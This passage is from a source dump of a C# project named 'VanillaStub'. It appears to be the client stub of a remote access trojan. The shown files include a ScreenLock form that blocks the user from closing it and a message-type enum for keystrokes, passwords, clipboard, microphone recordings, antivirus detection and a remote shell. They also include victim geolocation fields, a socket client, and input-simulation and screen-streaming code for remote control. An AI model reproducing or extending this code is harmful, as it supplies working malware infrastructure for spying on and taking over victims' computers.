ScreenLock() 8 | { 9 | InitializeComponent(); 10 | } 11 | 12 | //Prevent user from closing with alt f4 or other closing methods 13 | private void OnClose(object sender, FormClosingEventArgs e) 14 | { 15 | if (e.CloseReason == CloseReason.UserClosing) 16 | e.Cancel = true; 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Enums.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers 2 | { 3 | //Data types enum 4 | public enum DataType 5 | { 6 | ImageType = 0, 7 | NotificationType = 1, 8 | ClientTag = 2, 9 | ProcessType = 3, 10 | InformationType = 4, 11 | FilesListType = 5, 12 | CurrentDirectoryType = 6, 13 | DirectoryUpType = 7, 14 | FileType = 8, 15 | ClipboardType = 9, 16 | HardwareUsageType = 10, 17 | KeystrokeType = 11, 18 | CurrentWindowType = 12, 19 | MicrophoneRecordingType = 13, 20 | AntiVirusTag = 14, 21 | WindowsVersionTag = 15, 22 | MessageType = 16, 23 | PasswordType = 17, 24 | RemoteShellType = 18 25 | } 26 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Information/GeoInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Runtime.Serialization; 2 | 3 | namespace VanillaStub.Helpers.Information 4 | { 5 | [DataContract] 6 | public class GeoInfo 7 | { 8 | [DataMember(Name = "as")] public string As { get; set; } 9 | 10 | [DataMember(Name = "city")] public string City { get; set; } 11 | 12 | [DataMember(Name = "country")] public string Country { get; set; } 13 | 14 | [DataMember(Name = "countryCode")] public string CountryCode { get; set; } 15 | 16 | [DataMember(Name = "isp")] public string Isp { get; set; } 17 | 18 | [DataMember(Name = "lat")] public double Lat { get; set; } 19 | 20 | [DataMember(Name = "lon")] public double Lon { get; set; } 21 | 22 | [DataMember(Name = "org")] public string Org { get; set; } 23 | 24 | [DataMember(Name = "query")] public string Ip { get; set; } 25 | 26 | [DataMember(Name = "region")] public string Region { get; set; } 27 | 28 | [DataMember(Name = "regionName")] public string RegionName { get; set; } 29 | 30 | [DataMember(Name = "status")] public string Status { get; set; } 31 | 32 | [DataMember(Name = "timezone")] public string Timezone { get; set; } 33 | 34 | [DataMember(Name = "zip")] public string Zip { get; set; } 35 | } 36 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Networking/Networking.cs: -------------------------------------------------------------------------------- 1 | using VanillaStub.Helpers.Telepathy; 2 | 3 | namespace VanillaStub.Helpers.Networking 4 | { 5 | internal class Networking 6 | { 7 | public static Client MainClient = new Client(); 8 | } 9 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Networking/Telepathy/EventType.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Telepathy 2 | { 3 | public enum EventType 4 | { 5 | Connected, 6 | Data, 7 | Disconnected 8 | } 9 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Networking/Telepathy/Logger.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace VanillaStub.Helpers.Telepathy 4 | { 5 | public static class Logger 6 | { 7 | public static Action Log = Console.WriteLine; 8 | public static Action LogWarning = Console.WriteLine; 9 | public static Action LogError = Console.Error.WriteLine; 10 | } 11 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Networking/Telepathy/Message.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Telepathy 2 | { 3 | public class Message 4 | { 5 | public int connectionId; 6 | public byte[] data; 7 | public EventType eventType; 8 | 9 | public Message(int connectionId, EventType eventType, byte[] data) 10 | { 11 | this.connectionId = connectionId; 12 | this.eventType = eventType; 13 | this.data = data; 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Networking/Telepathy/NetworkStreamExtensions.cs: -------------------------------------------------------------------------------- 1 | using System.IO; 2 | using System.Net.Sockets; 3 | 4 | namespace VanillaStub.Helpers.Telepathy 5 | { 6 | public static class NetworkStreamExtensions 7 | { 8 | public static int ReadSafely(this NetworkStream stream, byte[] buffer, int offset, int size) 9 | { 10 | try 11 | { 12 | return stream.Read(buffer, offset, size); 13 | } 14 | catch (IOException) 15 | { 16 | return 0; 17 | } 18 | } 19 | 20 | public static bool ReadExactly(this NetworkStream stream, byte[] buffer, int amount) 21 | { 22 | int bytesRead = 0; 23 | while (bytesRead < amount) 24 | { 25 | int remaining = amount - bytesRead; 26 | int result = stream.ReadSafely(buffer, bytesRead, remaining); 27 | 28 | if (result == 0) 29 | return false; 30 | 31 | bytesRead += result; 32 | } 33 | 34 | return true; 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Networking/Telepathy/SafeQueue.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | 3 | namespace VanillaStub.Helpers.Telepathy 4 | { 5 | public class SafeQueue 6 | { 7 | private readonly Queue queue = new Queue(); 8 | 9 | public int Count 10 | { 11 | get 12 | { 13 | lock (queue) 14 | { 15 | return queue.Count; 16 | } 17 | } 18 | } 19 | 20 | public void Enqueue(T item) 21 | { 22 | lock (queue) 23 | { 24 | queue.Enqueue(item); 25 | } 26 | } 27 | 28 | public bool TryDequeue(out T result) 29 | { 30 | lock (queue) 31 | { 32 | result = default(T); 33 | if (queue.Count > 0) 34 | { 35 | result = queue.Dequeue(); 36 | return true; 37 | } 38 | 39 | return false; 40 | } 41 | } 42 | 43 | public bool TryDequeueAll(out T[] result) 44 | { 45 | lock (queue) 46 | { 47 | result = queue.ToArray(); 48 | queue.Clear(); 49 | return result.Length > 0; 50 | } 51 | } 52 | 53 | public void Clear() 54 | { 55 | lock (queue) 56 | { 57 | queue.Clear(); 58 | } 59 | } 60 | } 61 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Networking/Telepathy/Utils.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Telepathy 2 | { 3 | public static class Utils 4 | { 5 | public static byte[] IntToBytesBigEndian(int value) 6 | { 7 | return new[] 8 | { 9 | (byte) (value >> 24), 10 | (byte) (value >> 16), 11 | (byte) (value >> 8), 12 | (byte) value 13 | }; 14 | } 15 | 16 | public static int BytesToIntBigEndian(byte[] bytes) 17 | { 18 | return 19 | (bytes[0] << 24) | 20 | (bytes[1] << 16) | 21 | (bytes[2] << 8) | 22 | bytes[3]; 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/IInputDeviceStateAdaptor.cs: -------------------------------------------------------------------------------- 1 | using VanillaStub.Helpers.Services.InputSimulator.Native; 2 | 3 | namespace VanillaStub.Helpers.Services.InputSimulator 4 | { 5 | public interface IInputDeviceStateAdaptor 6 | { 7 | bool IsKeyDown(VirtualKeyCode keyCode); 8 | 9 | bool IsKeyUp(VirtualKeyCode keyCode); 10 | 11 | bool IsHardwareKeyDown(VirtualKeyCode keyCode); 12 | 13 | bool IsHardwareKeyUp(VirtualKeyCode keyCode); 14 | 15 | bool IsTogglingKeyInEffect(VirtualKeyCode keyCode); 16 | } 17 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/IInputMessageDispatcher.cs: -------------------------------------------------------------------------------- 1 | using VanillaStub.Helpers.Services.InputSimulator.Native; 2 | 3 | namespace VanillaStub.Helpers.Services.InputSimulator 4 | { 5 | internal interface IInputMessageDispatcher 6 | { 7 | void DispatchInput(INPUT[] inputs); 8 | } 9 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/IInputSimulator.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Services.InputSimulator 2 | { 3 | public interface IInputSimulator 4 | { 5 | IKeyboardSimulator Keyboard { get; } 6 | 7 | IMouseSimulator Mouse { get; } 8 | 9 | IInputDeviceStateAdaptor InputDeviceState { get; } 10 | } 11 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/IKeyboardSimulator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using VanillaStub.Helpers.Services.InputSimulator.Native; 4 | 5 | namespace VanillaStub.Helpers.Services.InputSimulator 6 | { 7 | public interface IKeyboardSimulator 8 | { 9 | IMouseSimulator Mouse { get; } 10 | 11 | IKeyboardSimulator KeyDown(VirtualKeyCode keyCode); 12 | 13 | IKeyboardSimulator KeyPress(VirtualKeyCode keyCode); 14 | 15 | IKeyboardSimulator KeyPress(params VirtualKeyCode[] keyCodes); 16 | 17 | IKeyboardSimulator KeyUp(VirtualKeyCode keyCode); 18 | 19 | IKeyboardSimulator ModifiedKeyStroke(IEnumerable modifierKeyCodes, 20 | IEnumerable keyCodes); 21 | 22 | IKeyboardSimulator ModifiedKeyStroke(IEnumerable modifierKeyCodes, VirtualKeyCode keyCode); 23 | 24 | IKeyboardSimulator ModifiedKeyStroke(VirtualKeyCode modifierKey, IEnumerable keyCodes); 25 | 26 | IKeyboardSimulator ModifiedKeyStroke(VirtualKeyCode modifierKeyCode, VirtualKeyCode keyCode); 27 | 28 | IKeyboardSimulator TextEntry(string text); 29 | 30 | IKeyboardSimulator TextEntry(char character); 31 | 32 | IKeyboardSimulator Sleep(int millsecondsTimeout); 33 | 34 | IKeyboardSimulator Sleep(TimeSpan timeout); 35 | } 36 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/IMouseSimulator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace VanillaStub.Helpers.Services.InputSimulator 4 | { 5 | public interface IMouseSimulator 6 | { 7 | IKeyboardSimulator Keyboard { get; } 8 | 9 | IMouseSimulator MoveMouseBy(int pixelDeltaX, int pixelDeltaY); 10 | 11 | IMouseSimulator MoveMouseTo(double absoluteX, double absoluteY); 12 | 13 | IMouseSimulator MoveMouseToPositionOnVirtualDesktop(double absoluteX, double absoluteY); 14 | 15 | IMouseSimulator LeftButtonDown(); 16 | 17 | IMouseSimulator LeftButtonUp(); 18 | 19 | IMouseSimulator LeftButtonClick(); 20 | 21 | IMouseSimulator LeftButtonDoubleClick(); 22 | 23 | IMouseSimulator RightButtonDown(); 24 | 25 | IMouseSimulator RightButtonUp(); 26 | 27 | IMouseSimulator RightButtonClick(); 28 | 29 | IMouseSimulator RightButtonDoubleClick(); 30 | 31 | IMouseSimulator XButtonDown(int buttonId); 32 | 33 | IMouseSimulator XButtonUp(int buttonId); 34 | 35 | IMouseSimulator XButtonClick(int buttonId); 36 | 37 | IMouseSimulator XButtonDoubleClick(int buttonId); 38 | 39 | IMouseSimulator VerticalScroll(int scrollAmountInClicks); 40 | 41 | IMouseSimulator HorizontalScroll(int scrollAmountInClicks); 42 | 43 | IMouseSimulator Sleep(int millsecondsTimeout); 44 | 45 | IMouseSimulator Sleep(TimeSpan timeout); 46 | } 47 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/InputSimulator.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Services.InputSimulator 2 | { 3 | public class InputSimulator : IInputSimulator 4 | { 5 | public InputSimulator(IKeyboardSimulator keyboardSimulator, IMouseSimulator mouseSimulator, 6 | IInputDeviceStateAdaptor inputDeviceStateAdaptor) 7 | { 8 | Keyboard = keyboardSimulator; 9 | Mouse = mouseSimulator; 10 | InputDeviceState = inputDeviceStateAdaptor; 11 | } 12 | 13 | public InputSimulator() 14 | { 15 | Keyboard = new KeyboardSimulator(this); 16 | Mouse = new MouseSimulator(this); 17 | InputDeviceState = new WindowsInputDeviceStateAdaptor(); 18 | } 19 | 20 | public IKeyboardSimulator Keyboard { get; } 21 | 22 | public IMouseSimulator Mouse { get; } 23 | 24 | public IInputDeviceStateAdaptor InputDeviceState { get; } 25 | } 26 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/MouseButton.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Services.InputSimulator 2 | { 3 | public enum MouseButton 4 | { 5 | LeftButton, 6 | 7 | MiddleButton, 8 | 9 | RightButton 10 | } 11 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/HARDWAREINPUT.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 2 | { 3 | #pragma warning disable 649 4 | internal struct HARDWAREINPUT 5 | { 6 | public uint Msg; 7 | 8 | public ushort ParamL; 9 | 10 | public ushort ParamH; 11 | } 12 | #pragma warning restore 649 13 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/INPUT.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 2 | { 3 | #pragma warning disable 649 4 | internal struct INPUT 5 | { 6 | public uint Type; 7 | 8 | public MOUSEKEYBDHARDWAREINPUT Data; 9 | } 10 | #pragma warning restore 649 11 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/InputType.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 2 | { 3 | internal enum InputType : uint 4 | { 5 | Mouse = 0, 6 | 7 | Keyboard = 1, 8 | 9 | Hardware = 2 10 | } 11 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/KEYBDINPUT.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 4 | { 5 | #pragma warning disable 649 6 | internal struct KEYBDINPUT 7 | { 8 | public ushort KeyCode; 9 | 10 | public ushort Scan; 11 | 12 | public uint Flags; 13 | 14 | public uint Time; 15 | 16 | public IntPtr ExtraInfo; 17 | } 18 | #pragma warning restore 649 19 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/KeyboardFlag.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 4 | { 5 | [Flags] 6 | internal enum KeyboardFlag : uint 7 | { 8 | ExtendedKey = 0x0001, 9 | 10 | KeyUp = 0x0002, 11 | 12 | Unicode = 0x0004, 13 | 14 | ScanCode = 0x0008 15 | } 16 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/MOUSEINPUT.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 4 | { 5 | #pragma warning disable 649 6 | internal struct MOUSEINPUT 7 | { 8 | public int X; 9 | 10 | public int Y; 11 | 12 | public uint MouseData; 13 | 14 | public uint Flags; 15 | 16 | public uint Time; 17 | 18 | public IntPtr ExtraInfo; 19 | } 20 | #pragma warning restore 649 21 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/MOUSEKEYBDHARDWAREINPUT.cs: -------------------------------------------------------------------------------- 1 | using System.Runtime.InteropServices; 2 | 3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 4 | { 5 | #pragma warning disable 649 6 | [StructLayout(LayoutKind.Explicit)] 7 | internal struct MOUSEKEYBDHARDWAREINPUT 8 | { 9 | [FieldOffset(0)] public MOUSEINPUT Mouse; 10 | 11 | [FieldOffset(0)] public KEYBDINPUT Keyboard; 12 | 13 | [FieldOffset(0)] public HARDWAREINPUT Hardware; 14 | } 15 | #pragma warning restore 649 16 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/MouseFlag.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 4 | { 5 | [Flags] 6 | internal enum MouseFlag : uint 7 | { 8 | Move = 0x0001, 9 | 10 | LeftDown = 0x0002, 11 | 12 | LeftUp = 0x0004, 13 | 14 | RightDown = 0x0008, 15 | 16 | RightUp = 0x0010, 17 | 18 | MiddleDown = 0x0020, 19 | 20 | MiddleUp = 0x0040, 21 | 22 | XDown = 0x0080, 23 | 24 | XUp = 0x0100, 25 | 26 | VerticalWheel = 0x0800, 27 | 28 | HorizontalWheel = 0x1000, 29 | 30 | VirtualDesk = 0x4000, 31 | 32 | Absolute = 0x8000 33 | } 34 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/NativeMethods.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 5 | { 6 | internal static class NativeMethods 7 | { 8 | [DllImport("user32.dll", SetLastError = true)] 9 | public static extern short GetAsyncKeyState(ushort virtualKeyCode); 10 | 11 | [DllImport("user32.dll", SetLastError = true)] 12 | public static extern short GetKeyState(ushort virtualKeyCode); 13 | 14 | [DllImport("user32.dll", SetLastError = true)] 15 | public static extern uint SendInput(uint numberOfInputs, INPUT[] inputs, int sizeOfInputStructure); 16 | 17 | [DllImport("user32.dll")] 18 | public static extern IntPtr GetMessageExtraInfo(); 19 | } 20 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/Native/XButton.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Services.InputSimulator.Native 2 | { 3 | internal enum XButton : uint 4 | { 5 | XButton1 = 0x0001, 6 | 7 | XButton2 = 0x0002 8 | } 9 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/WindowsInputDeviceStateAdaptor.cs: -------------------------------------------------------------------------------- 1 | using VanillaStub.Helpers.Services.InputSimulator.Native; 2 | 3 | namespace VanillaStub.Helpers.Services.InputSimulator 4 | { 5 | public class WindowsInputDeviceStateAdaptor : IInputDeviceStateAdaptor 6 | { 7 | public bool IsKeyDown(VirtualKeyCode keyCode) 8 | { 9 | short result = NativeMethods.GetKeyState((ushort) keyCode); 10 | return result < 0; 11 | } 12 | 13 | public bool IsKeyUp(VirtualKeyCode keyCode) 14 | { 15 | return !IsKeyDown(keyCode); 16 | } 17 | 18 | public bool IsHardwareKeyDown(VirtualKeyCode keyCode) 19 | { 20 | var result = NativeMethods.GetAsyncKeyState((ushort) keyCode); 21 | return result < 0; 22 | } 23 | 24 | public bool IsHardwareKeyUp(VirtualKeyCode keyCode) 25 | { 26 | return !IsHardwareKeyDown(keyCode); 27 | } 28 | 29 | public bool IsTogglingKeyInEffect(VirtualKeyCode keyCode) 30 | { 31 | short result = NativeMethods.GetKeyState((ushort) keyCode); 32 | return (result & 0x01) == 0x01; 33 | } 34 | } 35 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/InputSimulator/WindowsInputMessageDispatcher.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using VanillaStub.Helpers.Services.InputSimulator.Native; 4 | 5 | namespace VanillaStub.Helpers.Services.InputSimulator 6 | { 7 | internal class WindowsInputMessageDispatcher : IInputMessageDispatcher 8 | { 9 | public void DispatchInput(INPUT[] inputs) 10 | { 11 | if (inputs == null) throw new ArgumentNullException("inputs"); 12 | if (inputs.Length == 0) throw new ArgumentException("The input array was empty", "inputs"); 13 | var successful = NativeMethods.SendInput((uint) inputs.Length, inputs, Marshal.SizeOf(typeof(INPUT))); 14 | if (successful != inputs.Length) 15 | throw new Exception( 16 | "Some simulated input commands were not sent successfully. The most common reason for this happening are the security features of Windows including User Interface Privacy Isolation (UIPI). Your application can only send commands to applications of the same or lower elevation. Similarly certain commands are restricted to Accessibility/UIAutomation applications. Refer to the project home page and the code samples for more information."); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/Enums.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Services.StreamLibrary 2 | { 3 | public enum CodecOption 4 | { 5 | /// 6 | /// The Previous and next image size must be equal 7 | /// 8 | RequireSameSize, 9 | 10 | /// 11 | /// If the codec is having a stream buffer 12 | /// 13 | HasBuffers, 14 | 15 | /// 16 | /// The image will be disposed by the codec and shall not be disposed by the user 17 | /// 18 | AutoDispose, 19 | 20 | /// No codec options were used 21 | None 22 | } 23 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/IUnsafeCodec.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Drawing; 3 | using System.Drawing.Imaging; 4 | using System.IO; 5 | using VanillaStub.Helpers.Services.StreamLibrary.src; 6 | 7 | namespace VanillaStub.Helpers.Services.StreamLibrary 8 | { 9 | public abstract class IUnsafeCodec 10 | { 11 | private int _imageQuality; 12 | protected JpgCompression jpgCompression; 13 | protected LzwCompression lzwCompression; 14 | 15 | public IUnsafeCodec(int ImageQuality = 100) 16 | { 17 | this.ImageQuality = ImageQuality; 18 | ImageProcessLock = new object(); 19 | } 20 | 21 | public abstract ulong CachedSize { get; internal set; } 22 | protected object ImageProcessLock { get; } 23 | 24 | public int ImageQuality 25 | { 26 | get => _imageQuality; 27 | set 28 | { 29 | _imageQuality = value; 30 | jpgCompression = new JpgCompression(value); 31 | lzwCompression = new LzwCompression(value); 32 | } 33 | } 34 | 35 | public abstract int BufferCount { get; } 36 | public abstract CodecOption CodecOptions { get; } 37 | 38 | public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; 39 | 40 | public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; 41 | 42 | public abstract void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, 43 | Stream outStream); 44 | 45 | public abstract Bitmap DecodeData(Stream inStream); 46 | 47 | public abstract Bitmap DecodeData(IntPtr CodecBuffer, uint Length); 48 | } 49 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/IVideoCodec.cs: -------------------------------------------------------------------------------- 1 | using System.Drawing; 2 | using System.IO; 3 | using VanillaStub.Helpers.Services.StreamLibrary.src; 4 | 5 | namespace VanillaStub.Helpers.Services.StreamLibrary 6 | { 7 | public abstract class IVideoCodec 8 | { 9 | public delegate void VideoCodeProgress(Stream stream, Rectangle[] MotionChanges); 10 | 11 | public delegate void VideoDebugScanningDelegate(Rectangle ScanArea); 12 | 13 | public delegate void VideoDecodeProgress(Bitmap bitmap); 14 | 15 | protected JpgCompression jpgCompression; 16 | 17 | public IVideoCodec(int ImageQuality = 100) 18 | { 19 | jpgCompression = new JpgCompression(ImageQuality); 20 | this.ImageQuality = ImageQuality; 21 | } 22 | 23 | public abstract ulong CachedSize { get; internal set; } 24 | public int ImageQuality { get; set; } 25 | 26 | public abstract int BufferCount { get; } 27 | public abstract CodecOption CodecOptions { get; } 28 | 29 | public abstract event VideoCodeProgress onVideoStreamCoding; 30 | 31 | public abstract event VideoDecodeProgress onVideoStreamDecoding; 32 | 33 | public abstract event VideoDebugScanningDelegate onCodeDebugScan; 34 | 35 | public abstract event VideoDebugScanningDelegate onDecodeDebugScan; 36 | 37 | public abstract void CodeImage(Bitmap bitmap, Stream outStream); 38 | 39 | public abstract Bitmap DecodeData(Stream inStream); 40 | } 41 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/src/ExtensionAttribute.cs: -------------------------------------------------------------------------------- 1 | namespace System.Runtime.CompilerServices 2 | { 3 | [AttributeUsage(AttributeTargets.Method)] 4 | public sealed class ExtensionAttribute : Attribute { } 5 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/src/Extensions.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Drawing; 3 | 4 | namespace VanillaStub.Helpers.Services.StreamLibrary.src 5 | { 6 | public static class Extensions 7 | { 8 | public static SortedList> RectanglesTo2D(this Rectangle[] rects) 9 | { 10 | SortedList> Rects = new SortedList>(); 11 | for (int i = 0; i < rects.Length; i++) 12 | { 13 | if (!Rects.ContainsKey(rects[i].Y)) 14 | Rects.Add(rects[i].Y, new SortedList()); 15 | 16 | if (!Rects[rects[i].Y].ContainsKey(rects[i].X)) 17 | Rects[rects[i].Y].Add(rects[i].X, rects[i]); 18 | } 19 | 20 | return Rects; 21 | } 22 | 23 | public static SortedList> Rectangle2DToRows( 24 | this SortedList> Rects) 25 | { 26 | SortedList> RectRows = new SortedList>(); 27 | 28 | for (int i = 0; i < Rects.Values.Count; i++) 29 | { 30 | if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y)) 31 | RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList()); 32 | if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X)) 33 | RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]); 34 | 35 | Rectangle EndRect = Rects.Values[i].Values[0]; 36 | for (int x = 1; x < Rects.Values[i].Values.Count; x++) 37 | { 38 | Rectangle CurRect = Rects.Values[i].Values[x]; 39 | Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1]; 40 | if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height))) 41 | { 42 | RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, 43 | tmpRect.Width + EndRect.Width, tmpRect.Height); 44 | EndRect = Rects.Values[i].Values[x]; 45 | } 46 | else 47 | { 48 | EndRect = Rects.Values[i].Values[x]; 49 | RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect); 50 | } 51 | } 52 | } 53 | 54 | return RectRows; 55 | } 56 | } 57 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/src/JpgCompression.cs: -------------------------------------------------------------------------------- 1 | using System.Drawing; 2 | using System.Drawing.Imaging; 3 | using System.IO; 4 | 5 | namespace VanillaStub.Helpers.Services.StreamLibrary.src 6 | { 7 | public class JpgCompression 8 | { 9 | private readonly ImageCodecInfo encoderInfo; 10 | private readonly EncoderParameters encoderParams; 11 | private readonly EncoderParameter parameter; 12 | 13 | public JpgCompression(int Quality) 14 | { 15 | parameter = new EncoderParameter(Encoder.Quality, Quality); 16 | encoderInfo = GetEncoderInfo("image/jpeg"); 17 | encoderParams = new EncoderParameters(2); 18 | encoderParams.Param[0] = parameter; 19 | encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) 2); 20 | } 21 | 22 | public byte[] Compress(Bitmap bmp) 23 | { 24 | using (MemoryStream stream = new MemoryStream()) 25 | { 26 | bmp.Save(stream, encoderInfo, encoderParams); 27 | return stream.ToArray(); 28 | } 29 | } 30 | 31 | public void Compress(Bitmap bmp, ref Stream TargetStream) 32 | { 33 | bmp.Save(TargetStream, encoderInfo, encoderParams); 34 | } 35 | 36 | private ImageCodecInfo GetEncoderInfo(string mimeType) 37 | { 38 | ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); 39 | int num2 = imageEncoders.Length - 1; 40 | for (int i = 0; i <= num2; i++) 41 | if (imageEncoders[i].MimeType == mimeType) 42 | return imageEncoders[i]; 43 | return null; 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/src/LzwCompression.cs: -------------------------------------------------------------------------------- 1 | using System.Drawing; 2 | using System.Drawing.Imaging; 3 | using System.IO; 4 | 5 | namespace VanillaStub.Helpers.Services.StreamLibrary.src 6 | { 7 | public class LzwCompression 8 | { 9 | private readonly ImageCodecInfo encoderInfo; 10 | private readonly EncoderParameters encoderParams; 11 | private readonly EncoderParameter parameter; 12 | 13 | public LzwCompression(int Quality) 14 | { 15 | parameter = new EncoderParameter(Encoder.Quality, Quality); 16 | encoderInfo = GetEncoderInfo("image/jpeg"); 17 | encoderParams = new EncoderParameters(2); 18 | encoderParams.Param[0] = parameter; 19 | encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) EncoderValue.CompressionLZW); 20 | } 21 | 22 | public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null) 23 | { 24 | using (MemoryStream stream = new MemoryStream()) 25 | { 26 | if (AdditionInfo != null) 27 | stream.Write(AdditionInfo, 0, AdditionInfo.Length); 28 | bmp.Save(stream, encoderInfo, encoderParams); 29 | return stream.ToArray(); 30 | } 31 | } 32 | 33 | public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null) 34 | { 35 | if (AdditionInfo != null) 36 | stream.Write(AdditionInfo, 0, AdditionInfo.Length); 37 | bmp.Save(stream, encoderInfo, encoderParams); 38 | } 39 | 40 | private ImageCodecInfo GetEncoderInfo(string mimeType) 41 | { 42 | ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders(); 43 | for (int i = 0; i < imageEncoders.Length; i++) 44 | if (imageEncoders[i].MimeType == mimeType) 45 | return imageEncoders[i]; 46 | return null; 47 | } 48 | } 49 | } -------------------------------------------------------------------------------- /VanillaStub/Helpers/Services/StreamLibrary/src/MurmurHash2Unsafe.cs: -------------------------------------------------------------------------------- 1 | namespace VanillaStub.Helpers.Services.StreamLibrary.src 2 | { 3 | public unsafe class MurmurHash2Unsafe 4 | { 5 | private const uint m = 0x5bd1e995; 6 | private const int r = 24; 7 | 8 | public uint Hash(byte* data, int length) 9 | { 10 | if (length == 0) 11 | return 0; 12 | uint h = 0xc58f1a7b ^ (uint) length; 13 | int remainingBytes = length & 3; // mod 4 14 | int numberOfLoops = length >> 2; // div 4 15 | uint* realData = (uint*) data; 16 | while (numberOfLoops != 0) 17 | { 18 | uint k = *realData; 19 | k *= m; 20 | k ^= k >> r; 21 | k *= m; 22 | 23 | h *= m; 24 | h ^= k; 25 | numberOfLoops--; 26 | realData++; 27 | } 28 | 29 | switch (remainingBytes) 30 | { 31 | case 3: 32 | h ^= (ushort) *realData; 33 | h ^= (uint) *((byte*) realData + 2) << 16; 34 | h *= m; 35 | break; 36 | 37 | case 2: 38 | h ^= (ushort) *realData; 39 | h *= m; 